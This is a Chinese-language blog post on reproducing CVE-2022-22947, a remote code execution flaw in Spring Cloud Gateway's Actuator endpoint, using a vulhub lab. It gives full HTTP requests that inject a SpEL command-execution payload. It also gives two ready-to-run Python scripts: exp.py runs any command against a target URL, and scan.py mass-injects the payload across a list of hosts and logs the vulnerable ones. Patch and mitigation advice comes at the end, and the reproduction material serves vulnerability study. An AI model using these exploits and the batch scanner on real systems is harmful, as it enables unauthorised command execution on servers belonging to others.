CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE

news2025/1/19 17:17:08

CVE-2022-22947-Spring Cloud Gateway RCE

基本介绍

微服务架构与Spring Cloud

最开始时,我们开发java项目时,所有的代码都在一个工程里,我们把它称为单体架构。当我们的项目的代码量越来越大时,开发的成员越来越多时,这时我们项目的性能以及我们开发的效率都会存在非常大的问题,所以对于这样的项目,我们需要把它拆分为不同的服务,举个列子,原来很大的一个工程,我们把它拆分为一个个服务,比如说订单服务、用户服务、商品服务、物流服务、资金服务等等,因为有了这些服务之后,我们又引入了服务网关、服务注册发现、配置中心、调用链监控、Metrices监控等等的这些组件对这些服务进行协调和管理

在这里插入图片描述

Spring的开发团队,在Springboot框架的基础上开发了一个Spring Cloud生态

  • Eureka、Ribbon、OpenFeign、Hystrix、 Config、Zuul
  • Consul、Gateway、Bus、Stream、Sleuth、 zipkin
  • Nacos、Sentinel、Seata

我们使用这些现成的微服务去开发一个项目,相较于以前是非常的便捷的,而我们这次需要去复现的漏洞出现位置的组件就叫做Gateway,是一个网关的组件

我们开发一个项目时,因为拆分出来的服务太多了,对于用户来说,在一个项目中,去调用那么多的服务,非常的麻烦,所以我们就用一个统一的入口,这个入口就叫做服务网关

网关的作用:

  • 智能路由
  • 负载均衡
  • 协议转换
  • 权限校验
  • 限流熔断
  • 黑白名单
  • API监控
  • 日志审计

所以网关的功能是非常强大的,他在我们微服务的架构中也是非常的必要的

微服务架构的选择方案:

  • Netflix Zuul
  • Spring Cloud Gateway
  • Kong
  • Nginx+Lua

在我们一个Spring 框架里去创建一个网关的微服务,只需要在pom.xml文件中引入下面这个依赖:

<dependency> 
		<groupId>org.springframework.cloud</groupId>
	 	<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>

Spring Cloud Gateway概念

  • 路由(Route)
  • 断言(Predicate)
  • 过滤器(Filter)

Spring Boot Actuator

Spring Boot Actuator是 Spring Boot中一个监控的组件

Actuator的作用:

  • 健康检查
  • 审计
  • 统计
  • HTTP追踪

在我们一个Spring 框架里去创建一个Actuator,只需要在pom.xml文件中引入下面这个依赖:

<dependencies>
 <dependency> 
 	<groupId>org.springframework.boot</groupId> 
	<artifactId>spring-boot-starter-actuator</artifactId> 
 </dependency> 
</dependencies>

我们可以使用Actuator去监控Gateway,只需要在配置文件中添加以下代码:

management.endpoint.gateway.enabled=true 
management.endpoints.web.exposure.include=gateway

Actuator给我们提供操作Gateway接口列表

http://host:port/actuator/gateway/id

在这里插入图片描述

漏洞复现

此处复现我们使用的是vulhub提供的靶场,关于如何下载这个靶场,我就不多说了,太基础的东西了

在这里插入图片描述

下载好vulhub的靶场后进入CVE-2022-22947

在这里插入图片描述

运行如下代码启动和安装环境

docker-compose up -d

在这里插入图片描述

查看端口是否开放

docker-compose ps

在这里插入图片描述

打开浏览器访问URL地址

http://ip:8080

在这里插入图片描述

BP进入重放器模块

在这里插入图片描述

添加过滤器payload(这里的IP端口记得改为你的)

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "wuyaaq",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

在这里插入图片描述
发送包,过滤器规则添加成功:

在这里插入图片描述

刷新过滤器payload

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

a=1

发送包,返回显示刷新成功

在这里插入图片描述

访问过滤器IDpayload

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

或者这一步直接在浏览器中执行访问

http://IP:8080/actuator/gateway/routes/hacktest

在这里插入图片描述

可以看到我们输入whoami的命令执行了

自动化检测该漏洞

将下列代码保存为exp.py

import requests
import json
import base64
import re

payload1 = '/actuator/gateway/routes/wuyaaq'
payload2 = '/actuator/gateway/refresh'
payload3 = '/actuator/gateway/routes/wuyaaq'
headers = {
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Connection': 'close',
    'Content-Type': 'application/json'
}
proxies = {
    'http': 'http://192.168.0.112:8080'
}


data = 'eyAgImlkIjogInd1eWFhcSIsICAiZmlsdGVycyI6IFt7ICAgICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgICAgImFyZ3MiOiB7ICAgICAgIm5hbWUiOiAiUmVzdWx0IiwgICAgICAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiAgICB9ICB9XSwgICJ1cmkiOiAiaHR0cDovL2V4YW1wbGUuY29tIn0KCg=='

data1 = {
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'close',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '0'
}

def exec():
    # 执行命令
    requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd),verify=False,timeout=5)
    # 获得结果
    requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
    # 
    a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
    exec = re.findall(r'Result = [\'"]?([^\'" )]+)', a)
    print(exec)

if __name__ == '__main__':
    url = input("Url:")
    cmd = input("Cmd:")
    exec()
python exp.py

在这里插入图片描述

原理分析

问题:为什么添加过滤器(路由)会导致代码执行?

流程:

1、开启Acutator,可以通过接口列出路由(包括过滤器),如:/actuator/gateway/routes
2、可以通过/gateway/routes/{id_route_to_create} 创建路由
3、通过/actuator/gateway/refresh刷新路由
4、当路由带有恶意的Filter,里面的spEL表达式会被执行

扫描与修复

漏洞影响范围:

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7

https://tanzu.vmware.com/security/cve-2022-22947

批量检测代码

将以下代码保存为scan.py

import requests
import urllib3
import json
import re
urllib3.disable_warnings()

cmd='whoami'

a='''
  $$$   $$  $$  $$$$$        $$$    $$$    $$$    $$$         $$$    $$$    $$$      $$  $$$$$ 
 $$  $  $$  $$  $$          $  $$  $$ $$  $  $$  $  $$       $  $$  $  $$  $$ $$    $$$     $$ 
 $$     $$  $$  $$             $$  $$ $$     $$     $$          $$     $$  $$ $$   $ $$    $$  
 $$      $$$$   $$$$$  $$$    $$   $$ $$    $$     $$   $$$    $$     $$   $$ $$  $  $$    $$  
 $$      $$$$   $$           $$    $$ $$   $$     $$          $$     $$     $$$$  $$$$$$  $$   
 $$  $   $$$$   $$          $$     $$ $$  $$     $$          $$     $$        $$     $$   $$   
  $$$     $$    $$$$$       $$$$$   $$$   $$$$$  $$$$$       $$$$$  $$$$$   $$$      $$  $$   
'''
b ='python CVE-2022-22947_POC.py url.txt'

uri_check='/actuator/gateway/routes/code'
uri_refresh='/actuator/gateway/refresh'

headers = {
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Content-Type': 'application/json'
}

payload = {
    "id": "code",
    "filters": [{
        "name": "AddResponseHeader",
        "args": {
            "name": "Result",
            "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd +"\").getInputStream()))}"
        }
    }],
    "uri": "http://ggg.cpdd",
    "order": 0
}

#刷新路由

def refresh(url):
    try:
        rf=url+uri_refresh
        req_refresh =requests.post(url=rf,verify=False,timeout=1)
        code_refresh=req_refresh.status_code
        if code_refresh==200:
            print('[+]刷新路由成功')
        else:
            print('[-]刷新路由失败')
            # print(code_refresh)
            # print(code_refresh)
    except requests.exceptions.RequestException:
        print('[-]刷新路由超时')
    except:
        print('[-]刷新路由异常')

def huixian(url):
    try:
        req_huixian=requests.get(url=url+uri_check,verify=False,timeout=1)
        req_huixian_text=req_huixian.text
        req_huixian_code =req_huixian.status_code
        if req_huixian_code==200:
            req_huixian_text = req_huixian_text.replace("'", '')
            req_huixian_text = req_huixian_text.replace(" ", '')
            req_huixian_text = req_huixian_text.replace("\\n", '')
            req_huixian_re = re.compile(r'AddResponseHeaderResult=(.*?)],')
            req_huixian_re_1 = req_huixian_re.findall(req_huixian_text, re.S)
            huixian =req_huixian_re_1[0]
            print(f'[+]获取回显命令成功:{huixian}')
            # print(req_huixian_text)
        else:
            # print(req_huixian_code)
            print('[-]获取回显失败,请手动测试')
    except requests.exceptions.RequestException:
        print('[-]获取回显超时')
    except:
        print('[-]获取回显异常,请手动测试')

#删除命令注入
def del_rce_in(url):
    all=url+uri_check
    try:
        req =requests.delete(url=all,verify=False,timeout=2)
        code = req.status_code
        if code ==200:
            print('[+]删除注入路由成功')
        else:
            print('[-]删除注入路由失败')
    except requests.exceptions.RequestException:
        print('[-]删除注入路由超时')
    except:
        print('[-]删除注入路由异常')

#批量检测漏洞
def poc(txt):
    f =open(txt)
    f=f.readlines()
    for url in f:
        url =url.strip('\n')
        url =url.strip('/')
        try:
            all =url+uri_check
            req =requests.post(url=all,data = json.dumps(payload, ensure_ascii = False),headers=headers,json=json,verify=False,timeout=2)
            code =req.status_code
            if code ==201:
                # print(code)
                print(f'[+]{url}疑似存在漏洞')
                poc_file=open('success.txt','a+')
                poc_file.write(url+'\n')
                poc_file.close()
                refresh(url)
                huixian(url)
                del_rce_in(url)
                refresh(url)
                # refresh(url)
            else:
                print(f'[-]{url}不存在漏洞')
        # continue
        except requests.exceptions.RequestException:
            time_poc=f'[-]{url}漏洞检测超时'
            print(time_poc)
            pass
        except:
            print(f'[-]{url}rce注入失败,请检查网站是否能访问')
            continue

if __name__ == '__main__' :
    print(a)
    poc('url.txt')

然后在相同的目录下准备一个url.txt的文件,里面写上要批量检测的地址

在这里插入图片描述

然后执行代码进行批量检测

python scan.py

在这里插入图片描述

修复

1.更新升级 Spring Cloud Gateway 到以下安全版本:
Spring Cloud Gateway >=3.1.1
Spring Cloud Gateway >=3.0.7
2.在不考虑影响业务的情况下禁用 Actuator 接口:

management.endpoint.gateway.enable:false

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/427886.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vivdao FFT IP核调试记录

最近一时兴起&#xff0c;看了下Vivado版本下的FFT IP核&#xff0c;发现和ISE版本下的FFT IP核有一些差别&#xff0c;貌似还不小。做了个简单的仿真&#xff0c;Vivado仿真结果竟然和Matlab仿真结果对不上&#xff0c;废了九牛二虎之力研究datasheet、做仿真&#xff0c;终于…

SpringBoot JSON全局日期格式转换器

参考资料 SpringBoot日期格式转换&#xff0c;SpringBoot配置全局日期格式转换器在Spring Boot中定制Jackson ObjectMapper详解SpringBoot中jackson日期格式化问题(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS not turning off timestamps) 目录需求分析一. 前期准备1.1 …

ARM简单程序设计【嵌入式系统】

ARM简单程序设计【嵌入式系统】前言推荐ARM简单程序设计创建项目注意事项顺序结构程序两数之和分支结构程序符号函数循环结构程序已知循环次数未知循环次数两重循环冒泡排序子程序设计①寄存器传递参数方式②存储区域传递参数方式③ 堆栈传递参数方式最后前言 2023-4-6 20:26:…

一文看懂多模态大型语言模型GPT-4

文章目录前言什么是GPT-4GPT-4 VS GPT-3.5GPT-4与其他模型对比GPT-4视觉输入GPT-4局限性写在最后前言 近日&#xff0c;OpenAI发布了最新版的生成预训练模型GPT-4。据官方介绍&#xff0c;最新一代的模型是一个大模型&#xff0c;性能比CPT-3.5强悍很多&#xff0c;不仅仅是接…

泛微数字化安全管理,实现标准化、智能化管理,数据可视化分析

企业安全管理需求提升&#xff1a; 随着国家政策与技术的双重驱动&#xff0c;企业当前的安全管理需求&#xff0c;从标准化管理&#xff0c;逐步发展到智能、可视、可分析的全程数字化安全管理&#xff0c;落地风险分级管控、隐患排查治理的双重预防机制。 国家发布的《企业…

腾讯云轻量级云服务器Centos7防火墙开放8080端口

腾讯云轻量级云服务器Centos7防火墙开放8080端口 一、centos7防火墙打开端口 因为Centos7以上用firewalld代替了iptables,也就是说firewalld开通了8080端口应该就行了 1.查看8080是否已经放开 sudo firewall-cmd --permanent --zonepublic --list-ports2.查看防火墙状态 s…

电子标准院、中信银行、优云牵头!《数据中心服务能力成熟度模型》国标修订研讨会成功举办

4月11日&#xff0c;GB/T 33136 -2016《数据中心服务能力成熟度模型》国标修订第五次研讨会议在广州顺利召开。本次会议由中国电子技术标准化研究院、中信银行、广通优云牵头发起&#xff0c;广州赛宝认证中心承办&#xff0c;云下科技协办。 来自政府、金融、电信、能源、交通…

SQL Server 连接查询和子查询

提示&#xff1a; 利用单表简单查询和多表高级查询技能&#xff0c;并且根据查询要求灵活使用内连接查询、外连接查询或子查询等。同时还利用内连接查询的两种格式、三种外连接查询语法格式和子查询的语法格式。 文章目录前言1.查询所有学生的学号、姓名、选修课程号和成绩方法…

Python零基础自学

很多零基础想做程序员的同学&#xff0c;最开始接触的基本上都是 Python 作为常年霸榜的 “最好上手的编程语言” ——Python&#xff0c;深受互联网大厂的喜爱。 而很多小伙伴反应&#xff0c;在刚开始学Python时遇到不少问题&#xff1a; 比如找不到学习资源&#xff0c;不…

多态--遗失的子类析构函数(重要)

通过阅读下面的代码以及将其置于编译器上编译运行: #include<iostream> using namespace std;class Father { public:Father(const char* addr"中国") {cout << "执行Father类构造函数" << endl;int len strlen(addr) 1;this->add…

.Net Forms Resize V12.0 Crack

.Net Forms Resize V12.0 添加对 .NET 7 的支持并改进调整大小引擎。2023 年 4 月 14 日 - 10:27新版本特征 添加了对 Microsoft Visual Studio 2022 (v17.5.3) 及更高版本的支持。添加了对 Microsoft Windows Server 2019 和 2022 的支持。改进和调整引擎大小&#xff08;快约…

认识JVM

✏️作者&#xff1a;银河罐头 &#x1f4cb;系列专栏&#xff1a;JavaEE &#x1f332;“种一棵树最好的时间是十年前&#xff0c;其次是现在” 目录JVM 内存区域划分栈程序计数器堆元数据区JVM 类加载机制加载验证准备解析初始化双亲委派模型JVM 垃圾回收机制GC 实际工作过程…

Java基础之哈希表与红黑树

文章目录一、哈希表1.1 JDK1.7版本之前哈希表&#xff08;数组链表&#xff0c;头插法&#xff09;1.2 JDK1.8版本之后哈希表&#xff08;数组链表红黑树&#xff0c;尾插法&#xff09;二、红黑树2.1 使红黑树再次满足红黑规则2.1.1 使红黑树满足红黑规则方法一2.1.2 使红黑树…

JavaSE学习进阶day03_01 多态

第一章 多态 1.1 多态的形式 直接说什么是多态性太抽象了&#xff0c;我们先引入一个例子&#xff1a; 现在我定义了一个feed方法&#xff0c;在不同的类的对象调用这个方法时&#xff0c;都要改变形参&#xff0c;即每当我的对象不同时&#xff0c;都要重载该方法&#xff0…

【Java基础】day13

day13 一、Spring Bean 生命周期是怎样的&#xff1f; 详细过程分为以下几个步骤&#xff1a; ① 初始化 Bean 容器通过获取 BeanDefinition 中的信息进行实例化&#xff0c;这一步仅仅是简单的实例化&#xff0c;并没有进行依赖注入。 实例化的对象被包装在 BeanWrapper 对…

Qt音视频开发38-ffmpeg视频暂停录制的设计

一、前言 基本上各种播放器提供的录制视频接口&#xff0c;都是只有开始录制和结束录制两个&#xff0c;当然一般用的最多的也是这两个接口&#xff0c;但是实际使用过程中&#xff0c;还有一种可能需要中途暂停录制&#xff0c;暂停以后再次继续录制&#xff0c;将中间部分视…

RabbitMq架构设计原理

文章目录1、消息中间件1.1、什么是消息中间件1.2、传统的HTTP请求有什么缺点1.3、MQ的应用场景2、同步、多线程、以及MQ处理业务逻辑的区别2.1、同步发送Http 请求2.2、多线程处理业务逻辑2.3、MQ实现业务逻辑Mq和多线程之间的区别3、Mq消息中间件名词4、简单实现Mq的思路4.1、…

MySQL索引15连问,你能坚持到第几问?

目录 1.索引是什么? 2.MySQL索引有哪些类型 3.索引什么时候会失效? 4.哪些场景不适合建立索引? 5.为什么要用 B树&#xff0c;为什么不用二叉树? 6.一次B树索引树查找过程 7.什么是回表? 如何减少回表? 8.什么是覆盖索引? 9.聊聊索引的最左前缀原则 10.索引下…

Phind——一款面向开发人员的AI搜索引擎

目录前言一、Phind优点二、使用方法总结前言 Phind是一款面向开发人员的AI搜索引擎&#xff0c;它由大语言模型&#xff08;Large Language Model&#xff0c;LLM&#xff09;驱动 。相比于传统的搜索引擎&#xff0c;Phind有以下优势&#xff1a;自然语言搜索、面向开发者、AI…

【数据结构】期中考试一把梭(通宵版上)

前言 红中(Hong_zhong) CSDN内容合伙人、2023年新星计划web安全方向导师、 吉林师范大学网安大一的一名普通学生、摸鱼拿过大挑校二、 华为MindSpore截至目前最年轻的优秀开发者、IK&N战队队长、 阿里云专家博主、华为网络安全云享专家、腾讯云自媒体分享计划博主、 划了…